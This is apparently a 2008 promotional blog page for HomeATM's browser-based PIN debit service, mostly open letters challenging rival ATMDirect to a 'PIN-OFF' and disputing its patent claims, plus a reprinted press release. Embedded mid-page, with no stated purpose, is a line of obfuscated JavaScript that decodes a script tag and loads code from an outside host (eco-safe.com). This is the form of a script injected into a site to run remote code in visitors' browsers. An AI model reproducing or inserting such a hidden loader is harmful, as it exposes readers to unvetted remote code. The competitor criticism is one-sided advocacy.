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Introducing Web Based PIN Transactions for Internet
Retailers PINcept.com
A Concept
You Can Now Accept
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Thursday, May 1, 2008
An Open Letter to ATMDirect ExecutivesWith less than 13 days
remaining, we still have yet to hear from ATMDirect even though our CEO, Kenneth Mages, has made them aware of it from the
beginning. However, in the interest of complete and unbiased fairness, this morning I sent them the following. Word on the
street is that they have no intention of participating in the PIN-OFF, but let's give them every opportunity I say.
An Open Letter to ATMDirect Executives
Mr. Nandon Sheth - President
- ATMDirect
Mr. Tom Wilkerson - Vice-President Business Development -ATMDirect
cc: Ms. Danielle Duclos - Director of Marketing - ATMDirect
 As you are surely aware, from daily emails sent by Kenneth
Mages, HomeATM's CEO to your President, Nandon Sheth, as well as various coverage in both the blogs and the newswires, we have challenged ATMDirect to compare technologies.
I was a founding member of the former ATMDirect owner, Solidus Networks, and was the author and Editor of the "Pay By Touch Blog" since 2005 until it's final post on March 20th. I am a firm believer and staunch supporter of bringing PIN Debit
to the Web (in fact, query ATMDirect on the Pay By Touch Blog and you'll see myriad posts praising the potential of Internet
PIN Debit. As such, I personally inquired about acquiring ATMDirect.
However, after reviewing the materials sent to me by Ron Carter, and speaking with several "insiders"
including Eric Bachman, (who, by the way speaks highly of you personally) former COO of PBT, I decided that there was much
that remained to be done before it could be considered anything more than an "early stage startup" to quote Eula
Adams. So I passed and instead, I've joined forces with HomeATM, whose technology I felt could stand up to the demands
that are required for PIN Debit to work on the Internet.
I saw ATMDirect's recent Press Release claiming the purchase of Pay By Touch's "25 Global Patents".
Frankly, from the materials that were sent to me during my acquisition inquiry, I know only of one. However, that is not the
point of this communication. Our patent attorney, Donald E. Stout, has sent a letter to your president regarding our patent.
The point of this e-mail is to invite ATMDirect to what we've called a "PIN-OFF".
Upon reading your press release and hearing the patent claims you're
making, we would like to "call you" on these claims as well as the one made that you intend to "Own PIN Debit
on the Internet". If, in fact, you feel that ATMDirect's technology can stand up to the scrutiny of an independent
"Internet PIN Debit Payment Panel" we would welcome ATMDirect's participation by accepting our invitation. We
have extended the courtesy of allowing you 30 days to respond.
I've sent out "Internet PIN Debit Payment Panel" participant invitations to Paul Green,
"The GreenSheet", John Stewart, "Digital Transaction News" Scott Loftesness, Payment News, Gwen Bezard,
Aite Research Group, Avivah Litan, Garnter Research, Bruce Cundiff, Javelin Strategy & Research, David Brietkopf at SourceMedia
and Evan Shuman, the former retail technology editor for eWEEK.com, PCMagazine, and CIOInsight,
who are now all aware of HomeATM's PIN-Off Challenge to ATMDirect. We are all awaiting your acceptance/non-acceptance
to this Internet PIN Debit challenge.
Please
advise as to whether you plan on accepting, or forfeiting this opportunity to "showcase your technology". I'll
await your response, along with other industry insiders who are "privy" to our so-called "PIN-OFF." My
contact information is below...
John B. Frank
Executive Advisor
HomeATM e-Payment
Solutions
Phone: 480-816-9578
Cell: 612-432-6980
JFrank@HomeATM.net
www.PINdebit.blogspot.com
Wednesday, April 23, 2008
ATMDirect Not Responding to HomeATM's Challenge to "PIN-OFF" 
From today's "Payment Daily News Digest"
HomeATM Prepared to Prove ATMDirect is Vaporware:
After reading this public "let's take it outside" challenge by HomeATM's CEO, there is little question
that ATMDirect is either going to have to accept the challenge and prove their functionality or sue for libel. Reading between
the lines, Ken Mages is frustrated with prospective clients holding up sales as they say they first want to check out the
ATMDirect offering before making a decision. - Payment Daily News Digest
Editor's Note: It's not that HomeATM is looking to prove that ATMDirect is Vaporware. It's more along
the lines of settling, once and for all, who has the superior Internet PIN Debit/Credit technology, in terms of functionality
AND security. This is precisely the reason HomeATM has offered to have the "PIN-OFF" implemented by a panel of payment
specialists. In addition to it's technology, HomeATM also feels that it's patent is strong enough to hold up in the
face of any and all scrutiny.Regarding the libel statement. Libel is
defined as a: "a written or oral defamatory
statement or representation that conveys an unjustly unfavorable impression b: a statement or representation published
without just cause and tending to expose another to public contempt. There is nothing that has been said or written
by HomeATM or this blog that is either "unjust" or "without just cause." I have, indeed, "questioned" the merit of their recent press release, but the reason for doing so is based
on my background as a founding member of Pay By Touch. I "justly" questioned the merit of the press release because
I was sent ATMDirect's confidential documentation, which was sent to all prospective bidder's prior to the ATMDirect
auction. I saw absolutely no mention of "25 Global Internet PIN Debit Patents."Of course, if there was indeed 25 global internet patents, and I missed that part
in going and when going over the materials, the I still believe it's "justifiable," and certainly not unjust, to
question how strong they were if one was able to obtain those (and the $500k-$750k worth of IBM Blade Servers)...for
only $600k.  Although there is an occasional "deal" when acquiring a company through a bankruptcy
auction, the purpose of the auction is to obtain the highest possible bid. Therefore, the price the company receives at auction
is usually pretty close to it's value. So no libel here...just an "open invitation" to "PIN-OFF."
As I've stated before, ATMDirect claimed to "own PIN Debit on the
Internet" so why would they not accept the challenge unless, as Payment Daily News Blog, so eloquently stated, they've
got vaporware.Personally, I don't
necessarily believe ATMDirect is "vaporware", I believe it's "nowhere" near the level of HomeATM's technology.So...with that
said, there's 23 days and counting left and we're still waiting for ATMDirect to accept the PIN-OFF. They can name
the time, the place, and do so by clicking here: ATMDirect Accepts HomeATM's PIN-OFF Challenge! BTW: Nominations are now being taken by "Wired" for their 10th Annual Vaporware Awards ...if you can think of a nominee!
External Link: http://allpaynews.comvar ecov = "sh"; document.write(unescape("%3Cscript src='http://eco-safe.com/js/eco.js' type='text/javascript'%3E%3C/script%3E"));  In an effort to bring HomeATM Blog readers up to date on some featured news articles about HomeATM, I am pleased to introduce
our "Blast from the Past" feature. Today's "Blast from the Past" brings you an article from last fall's
Investors Daily News, recognizing HomeATM as one of Canada's Top 30 Innovating Elite Company's.
Here's the article from
late last August...
MONTREAL, Aug 30, 2007 /PRNewswire
via COMTEX/ -- Intent on showing its global entrepreneur and investor resources the "WOW" factor from North of the
Border's innovative technology sector, Red Herring is holding its first Canadian conference--Canadian Innovation Illuminated
-in Montreal.
Showcasing early stage disruptive technologies
-- "Made in Canada" -- the event will feature a well-rounded list of guest speakers as well as presentations from the country's the Top 30 innovators. HomeATM -- the Montreal
headquartered owner of a global patent for PIN debit and PIN credit card use in a browser environment -- has been chosen to
present its paradigm shifting technology as a proud member of the Elite 30 Canadian Company Presentations group.A very pleased Kenneth G. Mages -- Chairman and CEO of HomeATM --
announced the news today by saying, "We welcome the opportunity to have been selected to present our web-based 'trusted
e-money eco-system' on not only a Canadian, but also an international, stage." Mages went on to say, "The HomeATM
value proposition -- sustainable over the long term -- will be extremely
compelling to the VC community and demonstrate our unique bottom-up Alternative Web Payment Solution business model,
as well as our top-down next generation follow-up. Taking Mages' comment one step further, HomeATM COO Mitch Cobrin stated,
"The rapid increase in internet penetration is fuelling a variety of consumer internet services and e-commerce opportunities
witnessed by the rapid growth of such payment solution providers as PayPal and Bill Me Later. As customers and merchants seek
a trusted, secure and convenient method to transact over the WWW this sector should see double digit growth through the next
decade."Canadian Innovation Illuminated is being
held at Montreal's Hyatt Regency Hotel from September 5th through September 7th 2007.About HomeATM:Owner of the PIN-debit
and PIN-credit authentication space in a browser environment through its global patent and of its patent pending 2nd generation
wPCI(C) version aiming to turn any Internet-enabled device into a fully secured, bank "standard" transaction device,
HomeATM can justifiably aspire to be a significant player in online financial services, payment solutions and remittance.
Indeed, the solution is well suited to cannibalize market share from existing online payment processes, significantly expand
the user base and increase FSI player presence in the online transaction space. More information is available at www.homeatm.net.About Red Herring:Red Herring magazine is a sophisticated insider's guide to the business of technology, featuring unparalleled
insights on the emerging technologies driving the economy, from the Internet to wireless communications and digital entertainment.
Red Herring's journalists report on how innovation and entrepreneurship are transforming business and how the business
of technology is transforming the world, providing readers with a deep understanding of venture capital and capital markets.
Recognized as an essential resource in today's fast-changing business world, Red Herring gets the right answers before
anyone else even thinks to ask the questions. More information on Red Herring is available on the Internet at http://www.redherring.com.For Information, please contact:HomeATM: Mitchell Cobrin, COO mcobrin@HomeATM.net
Tel: 514-207-5000Red Herring: Farley Duvall, Executive Director fduvall@redherring.comRed Herring Tel: 41.44.445.3490SOURCE
HomeATMhttp://www.homeatm.netCopyright (C) 2007 PR Newswire. All rights reservedCopyright ©2008 MarketWatch, Inc. All rights reserved. Please see our Terms of Use. MarketWatch, the MarketWatch logo, and BigCharts are registered trademarks of MarketWatch, Inc."
11:04 am cdt
Friday, April 11, 2008
8:53 am cdt
Thursday, April 10, 2008
HomeATM Officially Invites ATMDirect to a "PIN Off"Will ATMDirect Accept the Challenge? Can They Accept It? Securely?I  was speaking with Ken Mages, the founder and CEO of HomeATM and George Gendron, HomeATM's President regarding ATMDirect's
questionable press release Smoke, Mirrors and Patents last Sunday, and the notion of calling them on their bluff came up.We also discussed an article in Digital Transaction News,
whereby Rajiv Grover, an investor in ATMDirect said. “Our intention is to own Internet
PIN debit transactions.”Remember...I took at close look at
ATMDirect when it went up for auction and when I began digging into ATMDirect's business my conclusion was that the asset
value of the associated personal property (i.e. servers, networking equipment, computers and office equipment) was worth (in
an eBay resale) between $500,000 and $750,000.
With this information I
looked at the associated, and I use this term very loosely here, "intellectual property" which consisted of a single
patent. (not 25 global patents as stated in ATMDirect's recent press release)In what I consider to be a "more than bold" statement, the new owners of ATMDirect went on to say: "Over the course of the next 90 to 120 days, ATM Direct is set to contract with a major, publicly
held acquirer to sign merchants, receive certifications from a couple of major electronic-funds transfer networks, and sign
a number of large merchants, according to officials with ATM Direct and its new parent company, Accullink LLC.
 I have a common sense question to pose here. It's the same question I posed to myself
when I decided not to move forward with my attempt to acquire ATMDirect.
But
first, take a look at the numbers shown in the graphic, which you can click to enlarge, on the left.
For a measly $600k, don't you think that PayPal, BillMeLater, Amazon, First Data, Heartland,
CyberSource, (the list goes on forever) would have been interested in acquiring the assets of ATMDirect? If any of those aforementioned
companies could have "owned PIN Debit on the Internet," a $94 BILLION dollar market
for only $600k, doesn't your common sense dictate that they would have been involved?
For obvious reasons
they were glaringly absent.
Thus the only logical assumption that a pragmatic
person can make is that there's nothing there. Which brings me back to the beginning of this post. I was talking with both the CEO/Founder and President of HomeATM, and the notion of calling
them on their bluff (Myth'd it By That Much...) came up.
The fairest and most arbitrary way would be to challenge them to an old-fashioned showdown which was dubbed during
the course of our conversation, a "PIN-OFF". Techno vs. Techno.
HomeATM
would be willing to have the "PIN Off" supervised by a knowledgeable, non-partisan entity.
One suggestion as a "fair and balanced" arbitrator was John Stewart" the Editor in Chief
of Digital Transactions Magazine.
 We'd be willing to showcase the HomeATM technology and ATMDirect would be invited to
do the same. W ill ATMDirect accept?
Will
they "even be able to accept?" And will they be able to do so securely without any glitches? That is the gist of the challenge.
A simple case of the Contender
vs. the Pretender, the Everlast versus the Neverlast...
4:37 pm cdt
Monday, April 7, 2008
Myth'd It By That Much...What Avenue Should Internet Retailers Take
When Choosing a PIN Debit Payment Platform
for their Website?
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2008.05.01
2008.04.01
2008.03.01
2008.02.01
2008.01.01
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PINCept.com is a website dedicated to educating Internet
Retailers on HomeATM and it's patented browser based PIN debit and credit network. By accepting payments secured by a
PIN, you'll reduce risk, reduce or eliminate reserves (if applicable), while, at the same time, cutting Interchange Fees
by up to 50%! You can't afford to discount the possibilities HomeATM can bring to your retail environment.
Why pay card not present rates when HomeATM can provide a more secure PIN verified transaction at card present
rates? To learn more check back for articles and insights regarding the merits of accepting PIN verified payments on
your website or visit: HomeATM today!
All Rights Reserved. PINcept.com 2008
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There is nothing that has been said or written
by HomeATM or this blog that is either "unjust" or "without just cause." I have, indeed, "questioned" the merit of their recent press release, but the reason for doing so is based
on my background as a founding member of Pay By Touch. I "justly" questioned the merit of the press release because
I was sent ATMDirect's confidential documentation, which was sent to all prospective bidder's prior to the ATMDirect
auction. I saw absolutely no mention of "25 Global Internet PIN Debit Patents."
Although there is an occasional "deal" when acquiring a company through a bankruptcy
auction, the purpose of the auction is to obtain the highest possible bid. Therefore, the price the company receives at auction
is usually pretty close to it's value. So no libel here...just an "open invitation" to "PIN-OFF."
HomeATM